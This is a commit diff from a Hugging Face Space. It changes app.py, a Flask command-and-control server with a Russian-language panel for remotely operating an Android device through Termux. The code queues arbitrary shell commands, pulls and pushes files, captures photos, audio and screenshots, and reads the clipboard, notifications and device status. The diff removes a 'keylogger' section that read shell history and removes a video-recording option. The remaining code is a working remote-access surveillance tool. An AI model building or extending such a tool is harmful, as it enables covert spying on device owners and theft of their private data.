Spaces:

Aleksmorshen
/

Contrem

Sleeping

App Files Files Community

Aleksmorshen commited on Jun 1

Commit

05b9c26

verified ·

1 Parent(s): 0501ab5

Update app.py

Browse files

Files changed (1) hide show

app.py +25 -78

app.py CHANGED Viewed

@@ -19,7 +19,7 @@ current_client_path = "~"
 file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
-shell_history_log = "" # NEW: To store shell history
 HTML_TEMPLATE = """
 <!DOCTYPE html>
@@ -64,7 +64,6 @@ HTML_TEMPLATE = """
         .notification-item:last-child { border-bottom: none; }
         .notification-item strong { display: block; color: #555; }
         .notification-item span { font-size: 0.9em; color: #777; }
-        .disclaimer { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; padding: 10px; border-radius: 5px; margin-bottom: 15px;}
     </style>
     <script>
         let currentView = 'dashboard';
@@ -78,7 +77,6 @@ HTML_TEMPLATE = """
             if (sectionId === 'files') refreshClientPathDisplay();
             if (sectionId === 'device_status') requestDeviceStatus();
             if (sectionId === 'notifications') requestNotifications();
-            if (sectionId === 'keylogger') requestShellHistory(); // NEW
             refreshOutput();
         }
@@ -87,8 +85,7 @@ HTML_TEMPLATE = """
                 const response = await fetch('/get_status_output');
                 const data = await response.json();
-                // Update output area for active view
-                if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger')) {
                     document.getElementById('outputArea').innerText = data.output;
                 }
@@ -142,13 +139,11 @@ HTML_TEMPLATE = """
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
-                if (data.shell_history && currentView === 'keylogger') { // NEW
-                    document.getElementById('shellHistoryArea').innerText = data.shell_history;
-                }
             } catch (error) {
                 console.error("Error refreshing data:", error);
-                 if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger') { // Updated
                     document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
                 }
             }
@@ -275,7 +270,7 @@ HTML_TEMPLATE = """
         }
         function requestDownloadFile(filename) {
-            sendGenericCommand({ command_type: 'upload_to_server', filename: filename });
             document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
         }
@@ -300,16 +295,12 @@ HTML_TEMPLATE = """
             document.getElementById('command_str').value = '';
         }
-        function submitMediaCommand(type, paramName, paramValueId, secondParamName = null, secondParamValueId = null) { // Updated signature
             let payload = { command_type: type };
             if (paramName && paramValueId) {
                 const value = document.getElementById(paramValueId).value;
                 if (value) payload[paramName] = value;
             }
-            if (secondParamName && secondParamValueId) { // For record_video with camera_id
-                const secondValue = document.getElementById(secondParamValueId).value;
-                if (secondValue) payload[secondParamName] = secondValue;
-            }
             sendGenericCommand(payload);
         }
@@ -343,9 +334,8 @@ HTML_TEMPLATE = """
                     document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
                     sendGenericCommand({
                         command_type: 'receive_file',
-                        download_url: result.download_url, // Use the correct URL from server response
-                        target_path: result.target_path_on_device, // Corrected parameter name
-                        original_filename: result.original_filename // Pass original filename
                     });
                 } else {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -380,10 +370,6 @@ HTML_TEMPLATE = """
         function requestNotifications() {
             sendGenericCommand({ command_type: 'get_notifications' });
         }
-        function requestShellHistory() { // NEW
-            sendGenericCommand({ command_type: 'get_shell_history' });
-            document.getElementById('shellHistoryArea').innerText = 'Загрузка истории команд...';
-        }
     </script>
@@ -400,7 +386,6 @@ HTML_TEMPLATE = """
             <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
             <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
             <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
-            <li><a href="#keylogger" onclick="showSection('keylogger')">Журналы активности</a></li> <!-- NEW -->
             <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
         </ul>
         <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
@@ -504,13 +489,6 @@ HTML_TEMPLATE = """
                 <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'camera_id_video_input')">Записать видео</button> <!-- NEW -->
-                <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
-                <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
-                <label for="camera_id_video_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
-                <input type="text" id="camera_id_video_input" value="0" style="width:50px; display:inline-block;">
-            </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
             </div>
@@ -549,22 +527,6 @@ HTML_TEMPLATE = """
              </div>
         </div>
-        <div id="keylogger" class="container hidden-section">
-            <h2>Журналы активности</h2>
-            <div class="control-section">
-                <h3>История команд оболочки Termux:</h3>
-                <div class="disclaimer">
-                    <strong>Важное примечание:</strong> Этот функционал позволяет просматривать <strong>только</strong> историю команд, введенных непосредственно в Termux оболочке (например, bash или zsh). Он <strong>НЕ является полноценным кейлоггером</strong> и не будет записывать нажатия клавиш, введенные в других приложениях Android или системные пароли. Для системного кейлоггинга требуются специальные разрешения Android (Accessibility Service), которые не могут быть получены удаленно через Termux API.
-                </div>
-                <button onclick="requestShellHistory()">Получить историю команд Termux</button>
-                <pre id="shellHistoryArea">История команд не загружена.</pre>
-            </div>
-            <div class="control-section" style="margin-top:20px;">
-                <h3>Результат операции:</h3>
-                <pre id="outputAreaKeyloggerCopy"></pre>
-            </div>
-        </div>
         <div id="uploads" class="container hidden-section">
             <h2>Файлы, загруженные С клиента на сервер</h2>
             <div class="control-section">
@@ -581,14 +543,12 @@ HTML_TEMPLATE = """
             const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
             const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
             const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
-            const outputAreaKeyloggerCopy = document.getElementById('outputAreaKeyloggerCopy'); // NEW
             const observer = new MutationObserver(() => {
                 if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
                 if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
                 if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
                 if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
-                if (outputAreaKeyloggerCopy && currentView === 'keylogger') outputAreaKeyloggerCopy.innerText = outputArea.innerText; // NEW
             });
             observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
         });
@@ -613,7 +573,7 @@ def handle_send_command():
     if command_type == 'list_files':
         path_requested = data.get('path', '.')
         pending_command = {'type': 'list_files', 'path': path_requested}
-    elif command_type == 'request_download_file': # This handles client initiating upload for a specific file
         filename = data.get('filename')
         if filename:
             pending_command = {'type': 'upload_to_server', 'filename': filename}
@@ -623,8 +583,6 @@ def handle_send_command():
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
-    elif command_type == 'record_video': # NEW
-        pending_command = {'type': 'record_video', 'duration': data.get('duration', '10'), 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
     elif command_type == 'shell':
@@ -633,20 +591,19 @@ def handle_send_command():
             pending_command = {'type': 'shell', 'command': command_str}
         else:
             command_output = "Ошибка: Команда не указана."
-    elif command_type == 'receive_file': # This handles server initiating download to client
         server_filename = data.get('server_filename')
         target_path_on_device = data.get('target_path_on_device')
-        original_filename = data.get('original_filename') # Passed from upload_to_server_for_client_route
-        if server_filename and target_path_on_device and original_filename:
             file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
             if os.path.exists(file_path_on_server):
                 pending_command = {
                     'type': 'receive_file',
                     'download_url': url_for('download_to_client', filename=server_filename, _external=True),
                     'target_path': target_path_on_device,
-                    'original_filename': original_filename
                 }
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else:
@@ -667,8 +624,6 @@ def handle_send_command():
         pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
-    elif command_type == 'get_shell_history': # NEW
-        pending_command = {'type': 'get_shell_history'}
     else:
         command_output = "Неизвестный тип команды."
@@ -686,7 +641,7 @@ def get_command():
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
     data = request.json
     if not data:
@@ -714,17 +669,12 @@ def submit_client_data():
         notifications_history = data['notifications_update']
         if not command_output or command_output == "Клиент онлайн.":
             command_output = "Список уведомлений обновлен."
-    if 'shell_history_update' in data: # NEW
-        shell_history_log = data['shell_history_update']
-        if not command_output or command_output == "Клиент онлайн.":
-            command_output = "История команд оболочки обновлена."
     if 'heartbeat' in data and data['heartbeat']:
-        # Only set "Клиент онлайн" if no other specific output or updates were sent
-        if not any(key in data for key in ['output', 'device_status_update', 'notifications_update', 'shell_history_update']):
-            command_output = "Клиент онлайн."
         return jsonify({'status': 'heartbeat_ok'})
     return jsonify({'status': 'data_received'})
@@ -756,7 +706,8 @@ def upload_from_client_route():
         try:
             file.save(filepath)
             origin_command_type = request.form.get("origin_command_type", "unknown")
-            command_output = f"Файл '{filename}' успешно загружен С клиента (Тип: {origin_command_type})."
             return jsonify({'status': 'success', 'filename': filename})
         except Exception as e:
@@ -765,14 +716,13 @@ def upload_from_client_route():
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
     return jsonify({
         'output': command_output,
         'last_heartbeat': last_client_heartbeat,
         'current_path': current_client_path,
         'device_status': device_status_info,
-        'notifications': notifications_history,
-        'shell_history': shell_history_log # NEW
     })
 @app.route('/uploads_from_client/<path:filename>')
@@ -793,6 +743,7 @@ def list_uploaded_files_route():
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
     if 'file_to_device' not in request.files:
         return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
@@ -807,21 +758,17 @@ def upload_to_server_for_client_route():
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
-        server_side_filename = str(uuid.uuid4()) + "_" + original_filename # Unique filename on server
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
         try:
             file.save(filepath_on_server)
-            # The download_url must be externally accessible for the client
-            download_url = url_for('download_to_client', filename=server_side_filename, _external=True)
             return jsonify({
                 'status': 'success',
                 'server_filename': server_side_filename,
                 'original_filename': original_filename,
-                'target_path_on_device': target_path_on_device,
-                'download_url': download_url # Include the full URL for the client
             })
         except Exception as e:
             return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500

 file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
 HTML_TEMPLATE = """
 <!DOCTYPE html>
         .notification-item:last-child { border-bottom: none; }
         .notification-item strong { display: block; color: #555; }
         .notification-item span { font-size: 0.9em; color: #777; }
     </style>
     <script>
         let currentView = 'dashboard';
             if (sectionId === 'files') refreshClientPathDisplay();
             if (sectionId === 'device_status') requestDeviceStatus();
             if (sectionId === 'notifications') requestNotifications();
             refreshOutput();
         }
                 const response = await fetch('/get_status_output');
                 const data = await response.json();
+                if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
                     document.getElementById('outputArea').innerText = data.output;
                 }
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
             } catch (error) {
                 console.error("Error refreshing data:", error);
+                 if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
                     document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
                 }
             }
         }
         function requestDownloadFile(filename) {
+            sendGenericCommand({ command_type: 'request_download_file', filename: filename });
             document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
         }
             document.getElementById('command_str').value = '';
         }
+        function submitMediaCommand(type, paramName, paramValueId) {
             let payload = { command_type: type };
             if (paramName && paramValueId) {
                 const value = document.getElementById(paramValueId).value;
                 if (value) payload[paramName] = value;
             }
             sendGenericCommand(payload);
         }
                     document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
                     sendGenericCommand({
                         command_type: 'receive_file',
+                        server_filename: result.server_filename,
+                        target_path_on_device: result.target_path_on_device
                     });
                 } else {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
         function requestNotifications() {
             sendGenericCommand({ command_type: 'get_notifications' });
         }
     </script>
             <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
             <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
             <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
             <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
         </ul>
         <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
                 <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
             </div>
              </div>
         </div>
         <div id="uploads" class="container hidden-section">
             <h2>Файлы, загруженные С клиента на сервер</h2>
             <div class="control-section">
             const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
             const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
             const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
             const observer = new MutationObserver(() => {
                 if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
                 if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
                 if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
                 if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
             });
             observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
         });
     if command_type == 'list_files':
         path_requested = data.get('path', '.')
         pending_command = {'type': 'list_files', 'path': path_requested}
+    elif command_type == 'request_download_file':
         filename = data.get('filename')
         if filename:
             pending_command = {'type': 'upload_to_server', 'filename': filename}
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
     elif command_type == 'shell':
             pending_command = {'type': 'shell', 'command': command_str}
         else:
             command_output = "Ошибка: Команда не указана."
+    elif command_type == 'receive_file':
         server_filename = data.get('server_filename')
         target_path_on_device = data.get('target_path_on_device')
+        if server_filename and target_path_on_device:
             file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
             if os.path.exists(file_path_on_server):
                 pending_command = {
                     'type': 'receive_file',
                     'download_url': url_for('download_to_client', filename=server_filename, _external=True),
                     'target_path': target_path_on_device,
+                    'original_filename': server_filename
                 }
+                file_to_send_to_client = None
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else:
         pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
     else:
         command_output = "Неизвестный тип команды."
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
     data = request.json
     if not data:
         notifications_history = data['notifications_update']
         if not command_output or command_output == "Клиент онлайн.":
             command_output = "Список уведомлений обновлен."
     if 'heartbeat' in data and data['heartbeat']:
+        if not command_output or command_output == "Клиент онлайн.":
+             if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
+                command_output = "Клиент онлайн."
         return jsonify({'status': 'heartbeat_ok'})
     return jsonify({'status': 'data_received'})
         try:
             file.save(filepath)
             origin_command_type = request.form.get("origin_command_type", "unknown")
+            if origin_command_type == "request_download_file": # Only set this for direct downloads
+                 command_output = f"Файл '{filename}' успешно загружен С клиента."
             return jsonify({'status': 'success', 'filename': filename})
         except Exception as e:
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
     return jsonify({
         'output': command_output,
         'last_heartbeat': last_client_heartbeat,
         'current_path': current_client_path,
         'device_status': device_status_info,
+        'notifications': notifications_history
     })
 @app.route('/uploads_from_client/<path:filename>')
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
+    global file_to_send_to_client, command_output
     if 'file_to_device' not in request.files:
         return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
+        server_side_filename = str(uuid.uuid4()) + "_" + original_filename
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
         try:
             file.save(filepath_on_server)
+            command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
             return jsonify({
                 'status': 'success',
                 'server_filename': server_side_filename,
                 'original_filename': original_filename,
+                'target_path_on_device': target_path_on_device
             })
         except Exception as e:
             return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500